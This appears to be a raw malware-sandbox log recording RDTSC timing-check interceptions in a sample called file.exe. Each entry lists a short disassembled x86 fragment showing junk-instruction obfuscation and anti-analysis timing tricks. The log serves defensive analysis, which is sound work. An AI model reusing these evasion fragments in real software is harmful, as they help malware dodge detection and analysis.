Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7B01 second address: 13D7B07 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB1A2 second address: 13DB1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC1F7 second address: 13DC1FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC1FD second address: 13DC201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD1A5 second address: 13DD1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC358 second address: 13DC364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC364 second address: 13DC36A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE174 second address: 13DE1BC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d jmp 00007F7E0935AD5Ah 0x00000012 pop ecx 0x00000013 nop 0x00000014 mov ebx, ecx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F7E0935AD58h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 mov bl, 62h 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE1BC second address: 13DE1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE3E6 second address: 13DE3EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E00EE second address: 13E0155 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7E090B9406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F7E090B9408h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov ebx, dword ptr [ebp+122D2876h] 0x00000030 push 00000000h 0x00000032 mov ebx, dword ptr [ebp+122D271Eh] 0x00000038 xchg eax, esi 0x00000039 jno 00007F7E090B9410h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F7E090B9417h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0155 second address: 13E015F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7E0935AD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E10F8 second address: 13E1106 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F7E090B9406h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1106 second address: 13E1118 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F7E0935AD5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1118 second address: 13E111C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E111C second address: 13E1133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E0935AD63h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E032D second address: 13E0333 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E406C second address: 13E4070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E23FF second address: 13E2405 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2405 second address: 13E2416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E0935AD5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E325C second address: 13E326A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F7E090B940Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E326A second address: 13E330F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F7E0935AD58h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 xor di, AF98h 0x00000025 js 00007F7E0935AD5Ch 0x0000002b mov ebx, dword ptr [ebp+1246902Dh] 0x00000031 push dword ptr fs:[00000000h] 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F7E0935AD58h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov bh, FCh 0x00000054 jo 00007F7E0935AD5Ch 0x0000005a mov dword ptr [ebp+122D2E62h], ecx 0x00000060 mov dword ptr fs:[00000000h], esp 0x00000067 mov dword ptr [ebp+122D2C1Dh], ecx 0x0000006d mov eax, dword ptr [ebp+122D02DDh] 0x00000073 mov di, 5E66h 0x00000077 push FFFFFFFFh 0x00000079 sub dword ptr [ebp+12454CA3h], ecx 0x0000007f nop 0x00000080 jmp 00007F7E0935AD63h 0x00000085 push eax 0x00000086 push eax 0x00000087 push eax 0x00000088 push edx 0x00000089 push ebx 0x0000008a pop ebx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9163 second address: 13E9174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E090B940Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9174 second address: 13E9196 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F7E0935AD56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9196 second address: 13E919A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA138 second address: 13EA13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA13D second address: 13EA144 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F296A second address: 13F296E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F227D second address: 13F229B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E090B9416h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F229B second address: 13F22A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F23EF second address: 13F23F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F23F3 second address: 13F23FD instructions: 0x00000000 rdtsc 0x00000002 je 00007F7E0935AD56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7315 second address: 13F735D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9417h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jo 00007F7E090B940Eh 0x00000013 jno 00007F7E090B9408h 0x00000019 mov eax, dword ptr [eax] 0x0000001b jl 00007F7E090B9410h 0x00000021 pushad 0x00000022 jl 00007F7E090B9406h 0x00000028 push eax 0x00000029 pop eax 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push edi 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F74A7 second address: 13F74AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD794 second address: 13FD7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jl 00007F7E090B9406h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD7A4 second address: 13FD7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD7AA second address: 13FD7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E090B9414h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1385982 second address: 138598E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138598E second address: 13859C2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7E090B9406h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7E090B9417h 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c jo 00007F7E090B9406h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13859C2 second address: 13859CE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7E0935AD56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13859CE second address: 13859D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC38E second address: 13FC3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD64h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC3AD second address: 13FC3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7E090B9406h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC97F second address: 13FC9AB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jne 00007F7E0935AD7Bh 0x00000011 push ecx 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007F7E0935AD5Dh 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jo 00007F7E0935AD56h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC9AB second address: 13FC9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCC54 second address: 13FCC58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD0C3 second address: 13FD0C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD0C7 second address: 13FD0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD0CD second address: 13FD0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD0D7 second address: 13FD0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD0E8 second address: 13FD11B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7E090B9406h 0x00000008 jnc 00007F7E090B9406h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 ja 00007F7E090B9406h 0x00000017 pop edi 0x00000018 popad 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7E090B9411h 0x00000021 ja 00007F7E090B9406h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD11B second address: 13FD11F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD25D second address: 13FD286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9418h 0x00000007 jmp 00007F7E090B940Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD286 second address: 13FD295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E0935AD5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD295 second address: 13FD29F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7E090B9406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD29F second address: 13FD2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD2AC second address: 13FD2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD2B2 second address: 13FD2C6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F7E0935AD56h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD2C6 second address: 13FD2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD5E0 second address: 13FD5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD5E6 second address: 13FD5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD5EA second address: 13FD5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD5EE second address: 13FD5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD5F4 second address: 13FD60A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7E0935AD60h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD60A second address: 13FD60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401CCD second address: 1401CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401CD3 second address: 1401CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1400B75 second address: 1400B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0883 second address: 13D0888 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0888 second address: 13D0894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0894 second address: 13D08E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 nop 0x00000007 pushad 0x00000008 mov bx, dx 0x0000000b popad 0x0000000c lea eax, dword ptr [ebp+1248467Fh] 0x00000012 push edi 0x00000013 mov edx, 632FF77Bh 0x00000018 pop ecx 0x00000019 mov cl, 93h 0x0000001b nop 0x0000001c js 00007F7E090B9425h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 js 00007F7E090B940Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D08E4 second address: 13D08EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0D7B second address: 13D0D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6314 second address: 13E6318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0F82 second address: 13D0F8B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0F8B second address: 13D0FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD66h 0x00000009 popad 0x0000000a popad 0x0000000b add dword ptr [esp], 6F27EB29h 0x00000012 mov cx, ABB0h 0x00000016 push AAE76621h 0x0000001b push edx 0x0000001c jo 00007F7E0935AD5Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9327 second address: 13E9341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F7E090B940Fh 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E73BC second address: 13E7463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov dword ptr [ebp+12467C16h], ebx 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov edi, 0D35EE00h 0x00000025 mov eax, dword ptr [ebp+122D116Dh] 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F7E0935AD58h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 mov ebx, dword ptr [ebp+122D290Eh] 0x0000004b jmp 00007F7E0935AD61h 0x00000050 jno 00007F7E0935AD5Bh 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push edx 0x0000005b call 00007F7E0935AD58h 0x00000060 pop edx 0x00000061 mov dword ptr [esp+04h], edx 0x00000065 add dword ptr [esp+04h], 0000001Ah 0x0000006d inc edx 0x0000006e push edx 0x0000006f ret 0x00000070 pop edx 0x00000071 ret 0x00000072 push eax 0x00000073 pushad 0x00000074 pushad 0x00000075 push ebx 0x00000076 pop ebx 0x00000077 pushad 0x00000078 popad 0x00000079 popad 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1128 second address: 13D112D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D112D second address: 13D1140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F7E0935AD56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D12EC second address: 13D12FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7E090B940Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D175F second address: 13D1777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F7E0935AD5Eh 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1777 second address: 13D17C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F7E090B9408h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push ebx 0x00000022 pushad 0x00000023 jbe 00007F7E090B9406h 0x00000029 mov esi, dword ptr [ebp+122D2B46h] 0x0000002f popad 0x00000030 pop edx 0x00000031 push 0000001Eh 0x00000033 jmp 00007F7E090B940Bh 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push esi 0x0000003c jl 00007F7E090B9406h 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1B45 second address: 13D1B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1B49 second address: 13D1B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
